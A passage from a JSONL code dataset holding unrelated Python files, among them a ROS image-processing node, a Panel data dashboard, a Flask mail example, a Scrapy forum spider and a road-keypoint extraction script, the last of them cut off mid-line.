+{"seq_id":"74999665790","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport rospy\nimport numpy as np\nimport cv2\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom sensor_msgs.msg import Image\n\nclass image_converter:\n    def __init__(self):\n        # 创建cv_bridge，声明图像的发布者和订阅者\n        self.image_pub = rospy.Publisher(\"cv_bridge_image\", Image, queue_size=1)\n        self.bridge = CvBridge()\n        self.image_sub = rospy.Subscriber(\"/usb_cam/image_raw\", Image, self.callback)\n\n    def callback(self,data):\n        # 使用cv_bridge将ROS的图像数据转换成OpenCV的图像格式\n        try:\n            cv_image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n        except CvBridgeError as e:\n            print(e)\n\n        # 显示Opencv格式的图像\n        font = cv2.FONT_HERSHEY_SIMPLEX  # 使用默认字体\n        lower_red = np.array([0, 160, 170])  # 红色阈值下界\n        higher_red = np.array([10, 235, 240])  # 红色阈值上界\n        img_hsv = cv2.cvtColor(cv_image, cv2.COLOR_BGR2HSV)  # RGB颜色空间向HSV颜色空间转变\n        mask = cv2.inRange(img_hsv, lower_red, higher_red)  # 过滤出红色部分\n        mask = cv2.medianBlur(mask, 5)  # 中值滤波\n        #   cv2.imshow('mask', mask)\n        #   cv2.waitKey(0)\n        #   cv2.destroyAllWindows()\n        contours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)  # 轮廓检测\n        (x, y, w, h) = cv2.boundingRect(contours[0])  # 返回矩阵四个点的坐标\n        cv2.rectangle(cv_image, (x, y), (x + w, y + h), (0, 0, 255), 3)  # 绘制矩形\n        \n        # 再将opencv格式的数据转换成ros image格式的数据发布\n        try:\n            self.image_pub.publish(self.bridge.cv2_to_imgmsg(cv_image, \"bgr8\"))\n        except CvBridgeError as e:\n            print(e)\n\nif __name__ == '__main__':\n    try:\n        # 初始化ros节点\n        rospy.init_node(\"cv_bridge_test\")\n        rospy.loginfo(\"Starting cv_bridge_test node\")\n        image_converter()\n        rospy.spin()\n    except KeyboardInterrupt:\n        print(\"Shutting down cv_bridge_test node.\")\n        cv2.destroyAllWindows()\n","repo_name":"IamMaYicheng/ros_program","sub_path":"catkin_ws/src/robot_vision/scripts/cv_bridge_test.py","file_name":"cv_bridge_test.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74506143869","text":"import plotly.express as px\nimport pandas as pd\nimport panel as pn\nimport param as pm\n\npd.set_option('display.max_columns', None)\npd.set_option('display.max_colwidth', None)\npn.extension('plotly')\n\n'''\nThe order of executing the files to get clustering_vectorized_praise.csv file is as follow:\n1. clustering_praise.ipynb\n2. vectorizing_praise.ipynb\n3. clustering_vectorized_praise.ipynb\n'''\ndf = pd.read_csv(\"clustering_vectorized_praise.csv\", index_col=0)\ndf.columns = ['To', 'From', 'Reason for dishing', 'Server', 'Room', 'v1 norm', 'v2 norm', 'v3 norm', 'Avg %',\n              'IH per Praise', 'IH per person', 'Day of Week', 'TEC Tags', 'Kmean Tag', 'Kmean Tag2_', 'Kmean Tag2']\ndata = df.copy()\n\nclass PraiseClustering(pm.Parameterized):\n    \n    \n\n    x_col = pm.ObjectSelector(label='X axis', default=\"Avg %\", objects=[\"Avg %\", \"IH per Praise\", \"IH per person\", 'Day of Week'])\n    y_col = pm.ObjectSelector(label='Y axis', default='IH per Praise', objects=[\"Avg %\", \"IH per Praise\", \"IH per person\", 'Day of Week'])\n    col_color = pm.ObjectSelector(label='Color', default='Kmean Tag', objects=['Kmean Tag', 'Day of Week','TEC Tags','Kmean Tag2'])\n    query_col = pm.ObjectSelector(label='Query Column', default='Kmean Tag', objects=['To', 'From', 'Room', 'v1 norm',\n                                                                                      'v2 norm', 'v3 norm', 'Avg %', 'IH per Praise',\n                                                                                      'IH per person', 'Day of Week', 'TEC Tags', 'Kmean Tag',\n                                                                                      'Kmean Tag2'])\n    query_str = pm.String(label='Query String', default=\"== All\", doc=\"A string\")\n    \n    def __init__(self, data, **params):\n        super().__init__(**params)\n        self.data = data\n    \n    def final_data_(self):\n        data_ = self.data\n        return data_\n    \n    @pm.depends('x_col', 'y_col', 'col_color') \n    def plot_kmean(self):\n        data_ = self.final_data_()\n        praise_plot_df = data_.sort_values(by=[self.col_color], ascending=True)\n        return px.scatter(praise_plot_df, x=self.x_col, y=self.y_col, render_mode='webgl', color=self.col_color)\n\n\n    @pm.depends('col_color') \n    def plot_box(self):\n        data_ = self.final_data_()\n        return px.box(data_, x='Avg %', y='Day of Week', points='all', hover_data=[self.col_color])\n    \n    \n    @pm.depends('x_col', 'y_col') \n    def show_corr(self):\n        return pn.widgets.DataFrame(df[[self.x_col, self.y_col]].corr(), name='DataFrame')\n \n    def query_data(self, data, col_name, query_str):\n        df = data\n        col_loc = df.columns.get_loc(f'{col_name}')\n        try:\n            symbol_, query_ = query_str.split(\" \")\n        except:\n            symbol_, query1_, query2_ = query_str.split(\" \")\n            query_ = query1_+\" \"+ query2_\n        if query_str=='== All':\n            return df\n        elif col_loc in [0, 1, 4, 11, 12]:\n            query = df[df[f\"{col_name}\"] == query_]\n            if query.shape[0] != 0:\n                return query\n            else:\n                return None\n        elif col_loc in [13, 15]:\n            query = df[df[f\"{col_name}\"] == query_]\n            if query.shape[0] != 0:\n                return query\n            else:\n                return None\n        elif col_loc in [5, 6, 7, 8, 9, 10, 14]:\n            query = df.query(f'`{col_name}`'+symbol_+query_)\n            if query.shape[0] != 0:\n                return query\n            else:\n                return None\n        else:\n            return None\n\n        \n    @pm.depends('query_col', 'query_str')\n    def show_data(self):\n        data_ = self.data\n        query_result = self.query_data(data=data_, col_name=self.query_col, query_str=self.query_str)\n        return pn.widgets.DataFrame(query_result, name='DataFrame', height=400)\n    \n    \npc = PraiseClustering(data, name='Kmean Clustering of Praise data')\n\n\nvanilla = pn.template.VanillaTemplate(\n    logo='https://static.tildacdn.com/tild6265-6232-4633-b761-383632303436/Group_2.png',\n    favicon='https://static.tildacdn.com/tild6334-3163-4633-a335-333337386131/favicon_final.ico',\n    site=\"The Commons Stack\",\n    title=\"Praise Analysis\",\n    header_background=\"#514d4e\",\n    header_color=\"#ff861c\",)\n\npn.config.sizing_mode = 'stretch_width'\n\nvanilla.sidebar.append(\n    pn.Column(\n        pc.param.x_col,\n        pc.param.y_col,\n        pc.param.col_color,\n        pn.pane.Markdown('''\n        #### __Correlation between two columns__\n        '''),\n        pc.show_corr,\n        pn.pane.Markdown('''\n        #### Description:\n        * __Kmean Tag__ is based on _'Avg %'_ & _'IH per Praise'_ columns\n        * __Kmean Tag2__ is based on _'To'_, _'From'_, _'Reason for dishing'_, _'Server'_ & _'Room'_ columns\n        * __TEC Tag__ is based on 17 TEC tags\n        * __Min Max Scaler__ is used to transform numeric data by scaling each feature to (0, 1) range to be suitable for use in machine learning algorithm\n        '''),\n        pn.pane.Markdown('''\n        <h4><strong>Developed by&nbsp;<a title=\"Mohammad\" href=\"https://github.com/spacelover92\" target=\"_blank\" \n        rel=\"noopener\">@maghaali#6154</a>&nbsp;at <a title=\"Longtail Financial\" href=\"https://longtailfinancial.com/\" target=\"_blank\" \n        rel=\"noopener\">LTF<img style=\"vertical-align: middle;\" src=\"https://longtailfinancial.com/wp-content/uploads/2020/03/Longtail-\n        Logo-white-center.png\" alt=\"Longtail Financial\" width=\"20\" height=\"20\" /></a></strong></h4>\n        ''')))\n\ntab_u = pn.Tabs((\"Scatter plot\", pc.plot_kmean))\ntab_d = pn.Tabs(('Box plot', pc.plot_box))\n        \ntab_d.extend([('Show data', pn.Column(pn.Row(pc.param.query_col, pc.param.query_str,\"\",\"\", \"\"),pc.show_data))])\n\nvanilla.main.append(pn.Column(tab_u, pn.pane.Markdown(''' *** '''), tab_d))\nvanilla.servable()\n","repo_name":"CommonsBuild/praiseanalysis","sub_path":"clustering_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"6258109095","text":"from flask import Flask\nfrom flask_mail import Mail,Message\n\napp = Flask(__name__)\napp.config.update(\n    DEBUG=False,\n    # EMAIL SETTINGS\n    MAIL_SERVER='smtp.gmail.com',\n    MAIL_PORT=25,\n    MAIL_USERNAME='XXXXXXXX@gmail.com',\n    MAIL_PASSWORD='XXXXXXXX'\n)\n\nmail=Mail(app)\n\n@app.route('/')\ndef index():\n    #mail.send_message(subject=\"您好，這裡是Flask\",\n    #                  sender=\"XXXXXXXX@gamil.com\",\n    #                  body=\"您好，測試信\",\n    #                  recipients=['XXXXXXXX@gmail.com'])\n    #return \"Mail is sended.\"\n    msg=Message(subject=\"您好，這裡是Flask\",\n                      sender=\"XXXXXXXX@gamil.com\",\n                      #body=\"您好，測試信\",\n                      recipients=['XXXXXXXX@gmail.com'])\n    msg.body=\"內文\"\n    msg.html=\"<h1>嗨嗨</h1>\"\n    #添加附檔\n    with app.open_resource('圖檔.jag') as fp:\n        msg.attach('a.jpg','image/jpg',fp.read())\n    #發送郵件\n    mail.send(msg)\n    return \"Mail is sended.\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"erik1110/Data-Engineering","sub_path":"flask/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"7746561326","text":"# -*- coding: utf8 -*-\nfrom phystricks import *\ndef XQKVooWaptGc():\n    from communPhys import parallelog\n    pspict,fig = SinglePicture(\"XQKVooWaptGc\")\n    pspict.dilatation(0.5)\n    A=Point(-1,-1)\n    B=Point(0,0)\n    C=Point(1,-1)\n    parallelog(A,B,C,points_names=\"STUV\",fig=fig,pspict=pspict)\n","repo_name":"LaurentClaessens/smath","sub_path":"phystricksXQKVooWaptGc.py","file_name":"phystricksXQKVooWaptGc.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"14510308012","text":"import re\nimport argparse\nfrom pathlib import Path\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--knp-file', type=Path, required=True)\n    parser.add_argument('--contents-dir', type=Path, required=True)\n    args = parser.parse_args()\n\n    contents_dir: Path = args.contents_dir\n    contents_dir.mkdir(exist_ok=True)\n\n    buff = \"\"\n    sid = \"\"\n    for line in args.knp_file.read_text().splitlines():\n        # 種々のエラーメッセージは取り除く\n        if line.startswith(\";;\"):\n            continue\n        buff += line + \"\\n\"\n        match = re.match(r'^# S-ID:([^ ]+)', line)\n        if match:\n            sid = match.group(1)\n        elif line.strip() == \"EOS\":\n            contents_dir.joinpath(sid).write_text(buff)\n            buff = \"\"\n\n    fileinfos = []\n    for path in sorted([p for p in contents_dir.glob(\"*\") if p.name != \"fileinfos\"]):\n        if path.is_file():\n            with path.open() as f:\n                fileinfos.append(f.readline())\n    contents_dir.joinpath(\"fileinfos\").write_text(\"\".join(fileinfos))\n\n\n# def extract_sid(sid):\n#     id_1, id_2, id_3 = sid.split('-')\n#     if id_3.startswith('0') and id_1:\n#         return id_1\n#     else:\n#         return id_2\n\n\n# def extract_pid(pid):\n#     id_1, id_2, id_3 = pid.split('-')\n#     if id_3.startswith('0') and id_1:\n#         return id_2\n#     else:\n#         return id_3\n\n\n# def extract_tid(tid):\n#     id_1, id_2, id_3 = tid.split('-')\n#     if id_3.startswith('0') and id_1:\n#         return id_3\n#     else:\n#         return 0\n\nif __name__ == '__main__':\n    main()\n","repo_name":"ku-nlp/KyotoCorpusAnnotationTool","sub_path":"scripts/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"73861338430","text":"# Author: Lucas Angelozzi\n# Date: 04/15/22\n# Purpose: Card class for cards module\n\n'''Class for a basic deck. Parent class to any other decks'''\n\n# Imports\nfrom .card import Card\nimport random\n\nclass Deck:\n    def __init__(self) -> None:\n        \"\"\"Constructor method. Creates a card object for 52 regular cards and 4 jokers.\n        Also creates an attribute for a list of each suit.\n        \"\"\"\n        \n        faces = [\"A\", 2, 3, 4, 5, 6, 7, 8, 9, 10, \"J\", \"Q\", \"K\", \"Jkr\"]\n        suits = [\"Spade\", \"Heart\", \"Club\", \"Diamond\"]\n        \n        self.cards = list()\n\n        for suit in suits:\n            for face in faces:\n                self.cards.append(Card(suit, face))\n\n        self.spades = [card for card in self.cards if card.suit == \"Spade\"]\n        self.hearts = [card for card in self.cards if card.suit == \"Heart\"]\n        self.clubs = [card for card in self.cards if card.suit == \"Club\"]\n        self.diamonds = [card for card in self.cards if card.suit == \"Diamond\"]\n\n    def __len__(self) -> int:\n        \"\"\"When the length of the list is queried, returns the number of cards in the deck\n\n        Returns:\n            int: how many cards in the deck\n        \"\"\"\n        \n        return len(self.cards)\n    \n    def shuffle(self) -> None:\n        \"\"\"Shuffles the deck of cards so that the order is randomized\n        \"\"\"\n    \n        random.shuffle(self.cards)\n\n    def remove_jokers(self) -> None:\n        \"\"\"Removes all the jokers from the deck\n        \"\"\"\n        \n        for card in self.cards:\n            if card.face == \"Jkr\":\n                self.cards.remove(card)\n\n    def add_values_ace_eleven(self) -> None:\n        \"\"\"Adds values to the cards. \n\n        Values:\n            Ace: 11\n            Jack, Queen, King: 10\n            1-10: Face value\n        \"\"\"\n        \n        for card in self.cards:\n            if card.face in (\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\", \"10\"):\n                card.value = int(card.face)\n            elif card.face in (\"J\", \"Q\", \"K\"):\n                card.value = 10\n            elif card.face == \"A\":\n                card.value = 11\n\n    def add_values_ace_one(self) -> None:\n        \"\"\"Adds values to the cards. \n\n        Values:\n            Ace: 11\n            Jack, Queen, King: 10\n            1-10: Face value\n        \"\"\"\n        \n        for card in self.cards:\n            if card.face in (\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\", \"10\"):\n                card.value = int(card.face)\n            elif card.face in (\"J\", \"Q\", \"K\"):\n                card.value = 10\n            elif card.face == \"A\":\n                card.value = 1\n","repo_name":"Langelozzi/thirty-one","sub_path":"cards_module/standard_deck.py","file_name":"standard_deck.py","file_ext":"py","file_size_in_byte":2583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18876756436","text":"import requests\nimport pandas as pd\nimport json\nimport pprint\nimport matplotlib as plt\nimport numpy as np\nimport country_converter as coco\nimport warnings\nimport logging\n\n\ndef get_rest_countries():\n    r = requests.get(\"https://restcountries.eu/rest/v2/all\")\n    raw_data = r.json()\n\n    def extract_block(field_name, d):\n        try:\n            return d[field_name][0][\"name\"]\n        except:\n            pass\n\n    def get_lat_lon(int, d):\n        try:\n            return d['latlng'][int]\n        except:\n            pass\n\n    df =  pd.DataFrame([{\n        \"country\": d[\"name\"],\n        \"ISO3\": d['alpha3Code'],\n#         \"Capital\": d['capital'],\n        \"region\": d['region'],\n        \"sub-region\": d['subregion'],\n#         \"Population\": d['population'],\n        \"latitude\": get_lat_lon(0,d),\n        \"longitude\": get_lat_lon(1,d),\n#         \"Area\": d['area'],\n#         \"Timezone\": d['timezones'][0],\n        \"borders\": d['borders'],\n#         \"Currencies\": extract_block('currencies', d),\n        \"regional_bloc\": extract_block('regionalBlocs', d)\n        } for d in raw_data])\n    \n    df = df.append({\n        'country':'World',\n        'ISO3': 'World',\n        'region': 'World',\n        'sub-region': 'World',\n        'latitude': 'World',\n        'longitude': 'World',\n        'borders': 'World',\n        'regional_bloc': 'World'\n              }, ignore_index=True)\n    return df\n\ndef get_cia_data():\n    with open('factbook.json', encoding='utf-8') as json_file:\n        data = json.load(json_file)\n    \n    data_list = []\n    data_list = []\n    for country_name in data[\"countries\"].keys():\n        country_data = data[\"countries\"][country_name][\"data\"]\n\n        try:\n            name = country_data[\"name\"]\n        except:\n            name = np.nan\n\n        try:\n            government_type = country_data[\"government\"][\"government_type\"]\n        except:\n            government_type = np.nan\n\n        try:\n            population = country_data[\"people\"][\"population\"][\"total\"]\n        except:\n            population = np.nan\n\n        try:\n            internet_users = country_data[\"communications\"][\"internet\"][\"users\"][\"total\"]\n        except:\n            internet_users = np.nan   \n\n        try:\n            internet_users_percent = country_data[\"communications\"][\"internet\"][\"users\"][\"percent_of_population\"]\n        except:\n            internet_users_percent = np.nan     \n\n        try:\n            internet_users_rank = country_data[\"communications\"][\"internet\"][\"users\"][\"global_rank\"]\n        except:\n            internet_users_rank = np.nan     \n\n        try:\n            telephones_fixed = country_data[\"communications\"][\"telephones\"][\"fixed_lines\"][\"total_subscriptions\"]\n        except:\n            telephones_fixed = np.nan    \n\n        try:\n            telephones_fixed_rank = country_data[\"communications\"][\"telephones\"][\"fixed_lines\"][\"global_rank\"]\n        except:\n            telephones_fixed_rank = np.nan \n\n        try:\n            telephones_mobile = country_data[\"communications\"][\"telephones\"][\"mobile_cellular\"][\"total_subscriptions\"]\n        except:\n            telephones_mobile = np.nan    \n\n        try:\n            telephones_mobile_rank = country_data[\"communications\"][\"telephones\"][\"mobile_cellular\"][\"global_rank\"]\n        except:\n            telephones_mobile_rank = np.nan \n\n        try:\n            median_age = country_data[\"people\"][\"median_age\"][\"total\"][\"value\"]\n        except:\n            median_age = np.nan\n\n        try:\n            gdp_purchasing = ((country_data[\"economy\"]['gdp'][\"purchasing_power_parity\"][\"annual_values\"])[0])[\"value\"]\n        except:\n            gdp_purchasing = np.nan\n\n        try:\n            gdp_rank = country_data[\"economy\"]['gdp'][\"purchasing_power_parity\"][\"global_rank\"]\n        except:\n            gdp_rank = np.nan\n\n        try:\n            education_expen = country_data[\"people\"][\"education_expenditures\"][\"percent_of_gdp\"]\n        except:\n            education_expen = np.nan\n\n        try:\n            education_rank = country_data[\"people\"][\"education_expenditures\"][\"global_rank\"]\n        except:\n            education_rank = np.nan\n\n        data_list.append({\n            \"country\": name,\n#             \"Government Type\": government_type,\n            \"population\": population,\n            \"internet_users\": internet_users,\n            \"internet_%_of_population\": internet_users_percent,\n            \"internet_global_rank\": internet_users_rank,\n            \"telephones_fixed_lines\": telephones_fixed,\n#             \"Telephones Fixed Lines Global Rank\": telephones_fixed_rank,\n            \"telephone_mobile_cellular\": telephones_mobile,\n#             \"Telephone Mobile Cellular Global Rank\": telephones_mobile_rank,\n            \"median_age\": median_age,\n            \"gdp_purchasing_power_parity\": gdp_purchasing,\n            \"gdp_global_rank\": gdp_rank,\n            \"education_expenditures\": education_expen,\n            \"education_expeditures_global_rank\": education_rank,\n\n\n        })\n        \n    df = pd.DataFrame(data_list)\n    \n    logger = logging.getLogger()\n    logger.disabled = True\n    \n    some_names = list(df.country)\n    standard_names = coco.convert(names=some_names, to='name_short', not_found=None)\n    iso3_codes = coco.convert(names=standard_names, to='ISO3', not_found=None)\n    \n    logger.disabled = False\n\n    \n    \n    df['ISO3'] = iso3_codes\n    df = df.dropna(subset=['internet_users'])\n    \n    return df\n","repo_name":"JoshuaFarmerATX/butterfly_effects_project","sub_path":"data_import.py","file_name":"data_import.py","file_ext":"py","file_size_in_byte":5428,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"12406235741","text":"# !/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n# http://search.qyer.com/bbs?wd=%E6%9C%9D%E9%B2%9C&time_mode=1&time_interval_start=&time_interval_end=&fid=0&type=1&order=1&page=1\nimport urlparse\n\nimport scrapy\nimport os\n\nfrom scrapy.loader import ItemLoader\n\nfrom testspider.items import QongyouArticleItem\n\nbase_path = os.path.abspath(__file__)\nlogfile = os.path.join(os.path.dirname(base_path), 'qiongyou.log')\n\nalready_read = dict()\n\nwith open(logfile, 'a+') as logf:\n    for i in logf.readlines():\n        already_read.update({i.strip():None})\n\n\nclass QiongyouSpider(scrapy.spiders.Spider):\n\n    name = \"qiongyou\"\n    \"\"\"\n    A列：时间，B列：题目，C列：全文\n    \"\"\"\n    base_url = 'http://strip.elong.com/solr/index.html?req=%s'\n    def start_requests(self):\n        urls = [\n            'http://search.qyer.com/bbs?wd=%E6%9C%9D%E9%B2%9C&time_mode=1&time_interval_start=&time_interval_end=&fid=0&type=1&order=1&page=1'\n        ]\n        for url in urls:\n            yield scrapy.Request(url=url, callback=self.parse)\n\n    def parse(self, response):\n        for quote in response.css('div.shResultGlobalList2 li'):\n            href = quote.css('h2.title a::attr(href)').extract_first()\n            if href and href not in already_read:\n                yield scrapy.Request(href, callback=self.get_content)\n        next_page = response.css('div.ui_page .ui_page_next::attr(href)').extract_first()\n        if next_page is not None:\n            href = urlparse.urljoin(\"http://search.qyer.com\", next_page)\n            yield response.follow(href, self.parse)\n\n    def get_content(self, response):\n        with open(logfile, 'a+') as logf:\n            logf.write(response.url + '\\n')\n        l = ItemLoader(item=QongyouArticleItem(), response=response)\n        with open(logfile, 'a+') as logf:\n            logf.write(response.url + '\\n')\n        if response.css('div.article_center'):  # article_center\n            l.add_css('title', 'div.ty_center .ty_left_header h1::text')\n            # value = u\"\"\n            # for node in response.xpath('//div[@class=\"ctd_content\"]//p'):\n            #     value += node.xpath('string()').extract_first() + \"\\n\"\n            # l.add_value('content', value)\n            l.add_css('content', 'div.article_center p::text')\n            l.add_css('author', 'div.nickname b::text')\n            l.add_css('time', 'div.act_header .act_date::text')\n            l.add_value('url_path', response.url)\n        else:  # photo_center\n            l.add_css('title', 'div.ty_center .ty_left_header h1 a::text')\n            # value = u\"\"\n            # for node in response.css('div.ctd_content p'):\n            #     value += node.xpath(\"string()\").extract_first() + \"\\n\"\n            # l.add_value('content', value)\n            l.add_css('content', 'div.photo_center p::text')\n            l.add_css('author', 'div.nickname b::text')\n            l.add_css('time', 'div.act_header .act_date::text')\n            l.add_value('url_path', response.url)\n        return l.load_item()\n","repo_name":"wuyongwen/spiderdemo","sub_path":"testspider/spiders/qongyou_spider.py","file_name":"qongyou_spider.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12432474078","text":"from django.shortcuts import render, redirect\nfrom .forms import ReservationForm\n# Create your views here.\n\ndef index(request):\n    context = {}\n    reservation_form = ReservationForm()\n    context['reservation_form'] = reservation_form\n\n\n    if request.method == 'POST':\n        reservation_form = ReservationForm(request.POST)\n        if reservation_form.is_valid():\n            return redirect(reservation_message)\n\n    return render(request, 'index.html', context)\n\n\n\n\ndef reservation_message(request):\n    context = {}\n    return render(request, 'reservation_message.html', context)","repo_name":"jakine/VaccinationBookingApplication","sub_path":"book/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71980474752","text":"import numpy as np\nimport os\nimport cv2\nimport scipy.io\n\nimageID = 0\nfor root, dirs, files in os.walk(\"/home/xsw/DLWKB/Dataset/Massachusetts_Roads/all/scribble\"):\n    for file in files:\n        imageID = imageID + 1\n\n        '''\n        if file != 'img-14_1_0.png':\n            continue\n        '''\n\n        image = cv2.imread(\"scribble/\" + file)\n        img = image[:,:,0]\n\n        count_up3 = 0 # 所有度大于等于3的道路点的数量，潜在道路交汇点\n        count_2 = 0 # 所有度等于2的道路点的数量，一般道路点\n        count_1 = 0 # 所有度等于1的道路点的数量，端点\n\n        if_key_points = []\n        all_key_points_position = []\n\n        for i in range(0, 64):\n            for j in range(0, 64):\n                if_exist_road_node = 0 # 是否存在道路点的flag\n                count_up3_anchorij = 0 # anchorij内所有度大于等于3的道路点的数量，潜在道路交汇点\n                count_2_anchorij = 0 # anchorij内所有度等于2的道路点的数量，一般道路点\n                count_1_anchorij = 0 # anchorij内所有度等于1的道路点的数量，端点\n                up3_node_list = [] # anchorij内所有度大于等于3的道路点的坐标表\n                d2_node_list = [] # anchorij内所有度等于2的道路点的坐标表\n                d1_node_list = [] # anchorij内所有度等于1的道路点的坐标表\n                for m in range(16*i,16*i+16):\n                    for n in range(16*j,16*j+16):\n                        if img[m][n] == 1: # 若为道路点\n                            if_exist_road_node = 1\n                            d = 0 # 坐标为m,n的道路点的度\n                            if (m-1>=0) and (m-1<1024) and (n-1>=0) and (n-1<1024):\n                                if img[m-1][n-1] == 1:\n                                    d = d + 1\n                            if (m-1>=0) and (m-1<1024) and (n>=0) and (n<1024):\n                                if img[m-1][n] == 1:\n                                    d = d + 1\n                            if (m-1>=0) and (m-1<1024) and (n+1>=0) and (n+1<1024):\n                                if img[m-1][n+1] == 1:\n                                    d = d + 1\n                            if (m>=0) and (m<1024) and (n-1>=0) and (n-1<1024):\n                                if img[m][n-1] == 1:\n                                    d = d + 1\n                            if (m>=0) and (m<1024) and (n+1>=0) and (n+1<1024):\n                                if img[m][n+1] == 1:\n                                    d = d + 1\n                            if (m+1>=0) and (m+1<1024) and (n-1>=0) and (n-1<1024):\n                                if img[m+1][n-1] == 1:\n                                    d = d + 1\n                            if (m+1>=0) and (m+1<1024) and (n>=0) and (n<1024):\n                                if img[m+1][n] == 1:\n                                    d = d + 1\n                            if (m+1>=0) and (m+1<1024) and (n+1>=0) and (n+1<1024):\n                                if img[m+1][n+1] == 1:\n                                    d = d + 1\n                            if d == 1:\n                                count_1 = count_1 + 1\n                                count_1_anchorij = count_1_anchorij + 1\n                                d1_node_list.append([m,n])\n                            elif d == 2:\n                                count_2 = count_2 + 1\n                                count_2_anchorij = count_2_anchorij + 1\n                                d2_node_list.append([m,n])\n                            elif d >= 3:\n                                count_up3 = count_up3 + 1\n                                count_up3_anchorij = count_up3_anchorij + 1\n                                up3_node_list.append([m,n])\n                if (count_1_anchorij == 0) and (count_2_anchorij == 0) and (count_up3_anchorij == 0): # 不存在道路点 或 存在道路点，但是所有道路点的度均为0(即均为孤立道路点)\n                    if_exist_road_node = 0\n                key_point = []\n                if if_exist_road_node == 0:\n                    key_point = [-1, -1]\n                elif if_exist_road_node == 1:\n                    if_exist_intersection = 0\n                    if_exist_endpoint = 0\n                    if count_up3_anchorij >= 1:\n                        for position in up3_node_list:\n                            if ((img[position[0]][position[1]-1]==1) and (img[position[0]][position[1]+1]==1) and (img[position[0]-1][position[1]]==1)) or \\\n                                ((img[position[0]][position[1]-1]==1) and (img[position[0]][position[1]+1]==1) and (img[position[0]+1][position[1]]==1)) or \\\n                                ((img[position[0]][position[1]-1]==1) and (img[position[0]-1][position[1]]==1) and (img[position[0]+1][position[1]]==1)) or \\\n                                ((img[position[0]][position[1]+1]==1) and (img[position[0]-1][position[1]]==1) and (img[position[0]+1][position[1]]==1)) or \\\n                                ((img[position[0]][position[1]-1]==1) and (img[position[0]-1][position[1]]==1) and (img[position[0]+1][position[1]+1]==1)) or \\\n                                ((img[position[0]][position[1]+1]==1) and (img[position[0]+1][position[1]]==1) and (img[position[0]-1][position[1]-1]==1)) or \\\n                                ((img[position[0]][position[1]-1]==1) and (img[position[0]+1][position[1]]==1) and (img[position[0]-1][position[1]+1]==1)) or \\\n                                ((img[position[0]][position[1]+1]==1) and (img[position[0]-1][position[1]]==1) and (img[position[0]+1][position[1]-1]==1)) or \\\n                                ((img[position[0]-1][position[1]-1]==1) and (img[position[0]+1][position[1]-1]==1) and (img[position[0]][position[1]+1]==1) and (img[position[0]][position[1]-1]!=1)) or \\\n                                ((img[position[0]-1][position[1]-1]==1) and (img[position[0]-1][position[1]+1]==1) and (img[position[0]+1][position[1]]==1) and (img[position[0]-1][position[1]]!=1)) or \\\n                                ((img[position[0]-1][position[1]+1]==1) and (img[position[0]+1][position[1]+1]==1) and (img[position[0]][position[1]-1]==1) and (img[position[0]][position[1]+1]!=1)) or \\\n                                ((img[position[0]+1][position[1]-1]==1) and (img[position[0]+1][position[1]+1]==1) and (img[position[0]-1][position[1]]==1) and (img[position[0]+1][position[1]]!=1)) or \\\n                                ((img[position[0]-1][position[1]-1]==1) and (img[position[0]+1][position[1]-1]==1) and (img[position[0]-1][position[1]+1]==1) and (img[position[0]][position[1]-1]!=1) and (img[position[0]-1][position[1]]!=1)) or \\\n                                ((img[position[0]-1][position[1]-1]==1) and (img[position[0]+1][position[1]-1]==1) and (img[position[0]+1][position[1]+1]==1) and (img[position[0]][position[1]-1]!=1) and (img[position[0]+1][position[1]]!=1)) or \\\n                                ((img[position[0]-1][position[1]-1]==1) and (img[position[0]-1][position[1]+1]==1) and (img[position[0]+1][position[1]+1]==1) and (img[position[0]][position[1]+1]!=1) and (img[position[0]-1][position[1]]!=1)) or \\\n                                ((img[position[0]-1][position[1]+1]==1) and (img[position[0]+1][position[1]-1]==1) and (img[position[0]+1][position[1]+1]==1) and (img[position[0]][position[1]+1]!=1) and (img[position[0]+1][position[1]]!=1)):\n                                if_exist_intersection = 1\n                                key_point = [position[0],  position[1]]\n                                break\n                    if (count_1_anchorij >= 1) and (if_exist_intersection == 0):\n                        if_exist_endpoint = 1\n                        key_point = [d1_node_list[0][0], d1_node_list[0][1]]\n                    if (count_2_anchorij >= 1) and (if_exist_intersection == 0) and (if_exist_endpoint == 0):\n                        sum_x_position = 0\n                        sum_y_position = 0 \n                        for position in d2_node_list:\n                            sum_x_position = sum_x_position + position[0]\n                            sum_y_position = sum_y_position + position[1]\n                        mean_x_position = sum_x_position // len(d2_node_list)\n                        mean_y_position = sum_y_position // len(d2_node_list)\n                \n                        if img[mean_x_position][mean_y_position] == 1:\n                            key_point = [mean_x_position, mean_y_position]\n                        else:\n                            closest_distance_square = 1000\n                            closest_point = []\n                            for position in d2_node_list:\n                                distance_square = 